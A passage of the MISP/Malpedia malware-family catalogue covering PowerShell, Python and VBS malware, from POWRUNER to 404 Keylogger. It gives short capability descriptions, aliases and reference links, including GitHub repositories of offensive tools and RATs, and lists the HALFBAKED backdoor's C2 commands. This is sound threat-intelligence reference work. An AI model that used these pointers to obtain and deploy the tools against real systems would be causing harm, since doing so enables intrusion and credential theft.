https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/
https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://unit42.paloaltonetworks.com/thanos-ransomware/
https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east

POWRUNER

The tag is: *misp-galaxy:malpedia="POWRUNER"*

POWRUNER is also known as:

Table 1539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

PresFox

The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.

The tag is: *misp-galaxy:malpedia="PresFox"*

PresFox is also known as:

Table 1540. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox
https://twitter.com/kafeine/status/1092000556598677504

QUADAGENT

The tag is: *misp-galaxy:malpedia="QUADAGENT"*

QUADAGENT is also known as:

Table 1541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca
https://youtu.be/pBDu8EGWRC4?t=2492
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html

RMOT

According to Trellix, this is a first-stage, powershell-based malware dropped via Excel/VBS. It is able to establish a foothold and exfiltrate data. Targets identified include hotels in Macao.

The tag is: *misp-galaxy:malpedia="RMOT"*

RMOT is also known as:

Table 1542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.rmot
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/suspected-darkhotel-apt-activity-update.html

RogueRobin

The tag is: *misp-galaxy:malpedia="RogueRobin"*

RogueRobin is also known as:

Table 1543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin
https://ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca

Schtasks

The tag is: *misp-galaxy:malpedia="Schtasks"*

Schtasks is also known as:

Table 1544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.schtasks
https://github.com/re4lity/Schtasks-Backdoor/blob/master/Schtasks-Backdoor.ps1

skyrat

The tag is: *misp-galaxy:malpedia="skyrat"*

skyrat is also known as:

Table 1545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.skyrat
https://github.com/YSCHGroup/SkyRAT

sLoad

sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.

The tag is: *misp-galaxy:malpedia="sLoad"*

sLoad is also known as:

- Starslord

Table 1546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload
https://blog.minerva-labs.com/sload-targeting-europe-again
https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy
https://threatpost.com/sload-spying-payload-delivery-bits/151120/
https://cert-agid.gov.it/news/campagna-sload-v-2-9-3-veicolata-via-pec/
https://www.certego.net/en/news/sload-hits-italy-unveil-the-power-of-powershell-as-a-downloader/
https://www.microsoft.com/security/blog/2020/01/21/sload-launches-version-2-0-starslord/
https://www.cert-pa.it/notizie/campagna-sload-star-wars-edition-veicolata-via-pec/
https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan
https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/

Snugy

The tag is: *misp-galaxy:malpedia="Snugy"*

Snugy is also known as:

Table 1547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.snugy
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/
https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/

Swrort Stager

The tag is: *misp-galaxy:malpedia="Swrort Stager"*

Swrort Stager is also known as:

Table 1548. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.swrort
https://github.com/itsKindred/malware-analysis-writeups/blob/master/swrort-dropper/swrort-stager-analysis.pdf

Tater PrivEsc

The tag is: *misp-galaxy:malpedia="Tater PrivEsc"*

Tater PrivEsc is also known as:

Table 1549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater
https://github.com/Kevin-Robertson/Tater

ThunderShell

The tag is: *misp-galaxy:malpedia="ThunderShell"*

ThunderShell is also known as:

Table 1550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell
https://github.com/Mr-Un1k0d3r/ThunderShell

Unidentified PS 001

Recon and exfiltration script, dropped from a LNK file. Attributed to APT-C-12.

The tag is: *misp-galaxy:malpedia="Unidentified PS 001"*

Unidentified PS 001 is also known as:

Table 1551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_001
https://bitofhex.com/2020/02/10/sapphire-mushroom-lnk-files/

Unidentified PS 002 (RAT)

A Powershell-based RAT capable of pulling further payloads, delivered through Russia-themed phishing mails.

The tag is: *misp-galaxy:malpedia="Unidentified PS 002 (RAT)"*

Unidentified PS 002 (RAT) is also known as:

Table 1552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002
https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/
https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/

Unidentified PS 003 (RAT)

This malware is a RAT written in PowerShell. It has the following capabilities: Downloading and Uploading files, loading and execution of a PowerShell script, execution of a specific command. It was observed by Malwarebytes LABS Threat Intelligence Team in a newly discovered campaign: this campaigns tries to lure Germans with a promise of updates on the current threat situation in Ukraine according to Malwarebyte LABS.

The tag is: *misp-galaxy:malpedia="Unidentified PS 003 (RAT)"*

Unidentified PS 003 (RAT) is also known as:

Table 1553. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_003
https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/

WannaMine

The tag is: *misp-galaxy:malpedia="WannaMine"*

WannaMine is also known as:

Table 1554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine
https://news.sophos.com/fr-fr/2020/01/22/wannamine-meme-cybercriminels-veulent-avoir-mot-a-dire-sur-brexit/
https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/

https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/
https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/
https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry
https://www.accenture.com/_acnmedia/PDF-46/Accenture-Threat-Analysis-Monero-Wannamine.pdf

WannaRen Downloader

The tag is: *misp-galaxy:malpedia="WannaRen Downloader"*

WannaRen Downloader is also known as:

Table 1555. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannaren_loader
https://twitter.com/blackorbird/status/1247834024711577601

WMImplant

The tag is: *misp-galaxy:malpedia="WMImplant"*

WMImplant is also known as:

Table 1556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html

Archivist

The tag is: *misp-galaxy:malpedia="Archivist"*

Archivist is also known as:

Table 1557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.archivist
https://github.com/NullArray/Archivist

Ares (Python)

Ares is a Python RAT.

The tag is: *misp-galaxy:malpedia="Ares (Python)"*

Ares (Python) is also known as:

Table 1558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.ares
https://github.com/sweetsoftware/Ares

BrickerBot

The tag is: *misp-galaxy:malpedia="BrickerBot"*

BrickerBot is also known as:

Table 1559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot
http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f
https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/
https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/
http://seclists.org/fulldisclosure/2017/Mar/7
https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A
https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/

DropboxC2C

The tag is: *misp-galaxy:malpedia="DropboxC2C"*

DropboxC2C is also known as:

Table 1560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.dropboxc2c
https://github.com/0x09AL/DropboxC2C

Guard

According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.

The tag is: *misp-galaxy:malpedia="Guard"*

Guard is also known as:

Table 1561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.guard
https://securelist.com/wildpressure-targets-macos/103072/

KeyPlexer

The tag is: *misp-galaxy:malpedia="KeyPlexer"*

KeyPlexer is also known as:

Table 1562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.keyplexer
https://github.com/nairuzabulhul/KeyPlexer

LaZagne

The author described LaZagne as an open source project used to retrieve lots of passwords stored on a local computer. It has been developed for the purpose of finding these passwords for the most commonly-used software. It is written in Python and provided as compiled standalone binaries for Linux, Mac, and Windows.

The tag is: *misp-galaxy:malpedia="LaZagne"*

LaZagne is also known as:

Table 1563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne
https://github.com/AlessandroZ/LaZagne
https://attack.mitre.org/groups/G0100/
https://attack.mitre.org/groups/G0100

https://www.infinitumit.com.tr/apt-35/
https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://edu.anarcho-copy.org/Against%20Security%20&%20%20Self%20Security/Group-IB%20RedCurl.pdf
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

Lofy

The tag is: *misp-galaxy:malpedia="Lofy"*

Lofy is also known as:

- LofyLife

Table 1564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lofy
https://securelist.com/lofylife-malicious-npm-packages/107014/

Loki RAT

This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing champaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/

The tag is: *misp-galaxy:malpedia="Loki RAT"*

Loki RAT is also known as:

Table 1565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.lokirat
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

N3Cr0m0rPh

An IRC bot written in (obfuscated) Python code. Distributed in attack campaign FreakOut, written by author Freak/Fl0urite and development potentially dating back as far as 2015.

The tag is: *misp-galaxy:malpedia="N3Cr0m0rPh"*

N3Cr0m0rPh is also known as:

- FreakOut
- Necro

Table 1566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph
https://github.com/lacework/lacework-labs/tree/master/keksec
https://blogs.juniper.net/en-us/threat-research/necro-python-botnet-goes-after-vulnerable-visualtools-dvr
https://twitter.com/xuy1202/status/1393384128456794116
https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
https://www.bleepingcomputer.com/news/security/freakout-malware-worms-its-way-into-vulnerable-vmware-servers/
https://www.lacework.com/blog/spytech-necro-keksecs-latest-python-malware/
https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html
https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/
https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/
https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/
https://www.lacework.com/the-kek-security-network/
https://twitter.com/xuy1202/status/1392089568384454657
https://www.lacework.com/keksec-tsunami-ryuk/

NetWorm

The tag is: *misp-galaxy:malpedia="NetWorm"*

NetWorm is also known as:

Table 1567. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/py.networm
https://github.com/pylyf/NetWorm

PIRAT

The tag is: *misp-galaxy:malpedia="PIRAT"*

PIRAT is also known as:

Table 1568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pirat
https://vk.com/m228228?w=wall306895781_177

Poet RAT

Cisco Talos has discovered a Python-based RAT they call Poet RAT. It is dropped from a Word document and delivered including a Python interpreter and required libraries. The name originates from references to Shakespeare. Exfiltration happens through FTP.

The tag is: *misp-galaxy:malpedia="Poet RAT"*

Poet RAT is also known as:

Table 1569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.poet_rat
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://securelist.com/apt-trends-report-q3-2020/99204/
https://blog.talosintelligence.com/2020/10/poetrat-update.html
https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-stibnite/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/

pupy (Python)

The tag is: *misp-galaxy:malpedia="pupy (Python)"*

pupy (Python) is also known as:

Table 1570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://github.com/n1nj4sec/pupy

PyArk

The tag is: *misp-galaxy:malpedia="PyArk"*

PyArk is also known as:

Table 1571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyark
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/

pyback

The tag is: *misp-galaxy:malpedia="pyback"*

pyback is also known as:

Table 1572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001
https://github.com/7h3w4lk3r/pyback

PyVil

PyVil RAT

The tag is: *misp-galaxy:malpedia="PyVil"*

PyVil is also known as:

Table 1573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil
https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat
https://twitter.com/ESETresearch/status/1360178593968623617

Responder

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

The tag is: *misp-galaxy:malpedia="Responder"*

Responder is also known as:

- SpiderLabs Responder

Table 1574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.responder
https://github.com/lgandx/Responder
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

Saphyra

The tag is: *misp-galaxy:malpedia="Saphyra"*

Saphyra is also known as:

Table 1575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra
https://www.youtube.com/watch?v=Bk-utzAlYFI
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/

Serpent

According to Proofpoint, this is a backdoor written in Python, used in attacks against French entities in the construction, real estate, and government industries.

The tag is: *misp-galaxy:malpedia="Serpent"*

Serpent is also known as:

Table 1576. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent
https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html
https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

SpaceCow

The tag is: *misp-galaxy:malpedia="SpaceCow"*

SpaceCow is also known as:

Table 1577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.spacecow
https://github.com/TheSph1nx/SpaceCow

stealler

The tag is: *misp-galaxy:malpedia="stealler"*

stealler is also known as:

Table 1578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.stealler
https://habr.com/en/sandbox/135410/

Stitch

The tag is: *misp-galaxy:malpedia="Stitch"*

Stitch is also known as:

Table 1579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.stitch
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/

https://github.com/nathanlopez/Stitch

unidentified_002

The tag is: *misp-galaxy:malpedia="unidentified_002"*

unidentified_002 is also known as:

Table 1580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002

unidentified_003

The tag is: *misp-galaxy:malpedia="unidentified_003"*

unidentified_003 is also known as:

Table 1581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003

Venomous

Ransomware written in Python and delivered as compiled executable created using PyInstaller.

The tag is: *misp-galaxy:malpedia="Venomous"*

Venomous is also known as:

Table 1582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.venomous
https://blog.cyble.com/2021/08/04/a-deep-dive-analysis-of-venomous-ransomware/

W4SP Stealer

The tag is: *misp-galaxy:malpedia="W4SP Stealer"*

W4SP Stealer is also known as:

Table 1583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.w4sp_stealer

https://securelist.com/two-more-malicious-python-packages-in-the-pypi/107218/

FlexiSpy (symbian)

The tag is: *misp-galaxy:malpedia="FlexiSpy (symbian)"*

FlexiSpy (symbian) is also known as:

Table 1584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

CageyChameleon

CageyChameleon Malware is a VBS-based backdoor which has the capability to enumerate the list of running processes and check for the presence of several antivirus products. CageyChameleon will collect user host information, system current process information, etc. The collected information is sent back to the C2 server, and continue to initiate requests to perform subsequent operations.

The tag is: *misp-galaxy:malpedia="CageyChameleon"*

CageyChameleon is also known as:

Table 1585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon
https://www.clearskysec.com/wp-content/uploads/2020/06/CryptoCore_Group.pdf
https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/
https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/
https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314
https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf
https://www.clearskysec.com/cryptocore-group/
https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf

forbiks

The tag is: *misp-galaxy:malpedia="forbiks"*

forbiks is also known as:

- Forbix

Table 1586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.forbiks
https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2017-090807-0934-99
https://persianov.net/windows-worms-forbix-worm-analysis

GGLdr

The tag is: *misp-galaxy:malpedia="GGLdr"*

GGLdr is also known as:

Table 1587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.ggldr
https://www.forcepoint.com/blog/x-labs/carbanak-group-uses-google-malware-command-and-control

GlowSpark

The tag is: *misp-galaxy:malpedia="GlowSpark"*

GlowSpark is also known as:

Table 1588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.glowspark
https://inquest.net/blog/2022/02/10/380-glowspark

Grinju Downloader

The tag is: *misp-galaxy:malpedia="Grinju Downloader"*

Grinju Downloader is also known as:

Table 1589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.grinju
https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8
https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce

HALFBAKED

The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:

```
info: Sends victim machine information (OS, Processor, BIOS and running processes)
using WMI
        queries
processList: Send list of process running
screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
runvbs: Executes a VB script
runexe: Executes EXE file
runps1: Executes PowerShell script
delete: Delete the specified file
update: Update the specified file
```

The tag is: *misp-galaxy:malpedia="HALFBAKED"*

HALFBAKED is also known as:

Table 1590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://attack.mitre.org/software/S0151/

Iloveyou

The tag is: *misp-galaxy:malpedia="Iloveyou"*

Iloveyou is also known as:

- Love Bug
- LoveLetter

Table 1591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.iloveyou
https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186

lampion

Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files. The malware targets banking clients in Portugal.

The tag is: *misp-galaxy:malpedia="lampion"*

lampion is also known as:

Table 1592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion
https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html
https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf
https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/
https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years
https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/
https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/
https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader
https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing
https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/

lockscreen

The tag is: *misp-galaxy:malpedia="lockscreen"*

lockscreen is also known as:

Table 1593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lockscreen
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/lockscreen-ransomware-phishing-leads-to-google-play-card-scam/

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email. Based on Fireeye intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.

The tag is: *misp-galaxy:malpedia="MOUSEISLAND"*

MOUSEISLAND is also known as:

Table 1594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.mouseisland
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html

NodeJS Ransomware

Downloads NodeJS when deployed.

The tag is: *misp-galaxy:malpedia="NodeJS Ransomware"*

NodeJS Ransomware is also known as:

Table 1595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.nodejs_ransom
https://dissectingmalwa.re/the-opposite-of-fileless-malware-nodejs-ransomware.html

Starfighter (VBScript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: *misp-galaxy:malpedia="Starfighter (VBScript)"*

Starfighter (VBScript) is also known as:

Table 1596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starfighter
https://github.com/Cn33liz/StarFighters

STARWHALE

The tag is: *misp-galaxy:malpedia="STARWHALE"*

STARWHALE is also known as:

- Canopy
- SloughRAT

Table 1597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale
https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html
https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/
https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706

Unidentified VBS 001

The tag is: *misp-galaxy:malpedia="Unidentified VBS 001"*

Unidentified VBS 001 is also known as:

Table 1598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_001
https://twitter.com/JohnLaTwC/status/1118278148993339392

Unidentified 002 (Operation Kremlin)

Unnamed malware. Delivered as remote template that drops a VBS file, which uses LOLBINs to crawl the disk and exfiltrate data zipped up via winrar.

The tag is: *misp-galaxy:malpedia="Unidentified 002 (Operation Kremlin)"*

Unidentified 002 (Operation Kremlin) is also known as:

Table 1599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_002
https://www.clearskysec.com/operation-kremlin/

Unidentified 003 (Gamaredon Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 003 (Gamaredon Downloader)"*

Unidentified 003 (Gamaredon Downloader) is also known as:

Table 1600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003
https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/
https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt

Unidentified VBS 004 (RAT)

Lab52 describes this as a light first-stage RAT used by MuddyWater and observed samples between at least November 2020 and January 2022.

The tag is: *misp-galaxy:malpedia="Unidentified VBS 004 (RAT)"*

Unidentified VBS 004 (RAT) is also known as:

Table 1601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_004
https://lab52.io/blog/muddywaters-light-first-stager-targetting-middle-east/

WhiteShadow

The tag is: *misp-galaxy:malpedia="WhiteShadow"*

WhiteShadow is also known as:

Table 1602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.whiteshadow
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

000Stealer

The tag is: *misp-galaxy:malpedia="000Stealer"*

000Stealer is also known as:

Table 1603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.000stealer
https://twitter.com/3xp0rtblog/status/1509978637189419008

404 Keylogger

Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim's sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.

The tag is: *misp-galaxy:malpedia="404 Keylogger"*

404 Keylogger is also known as:
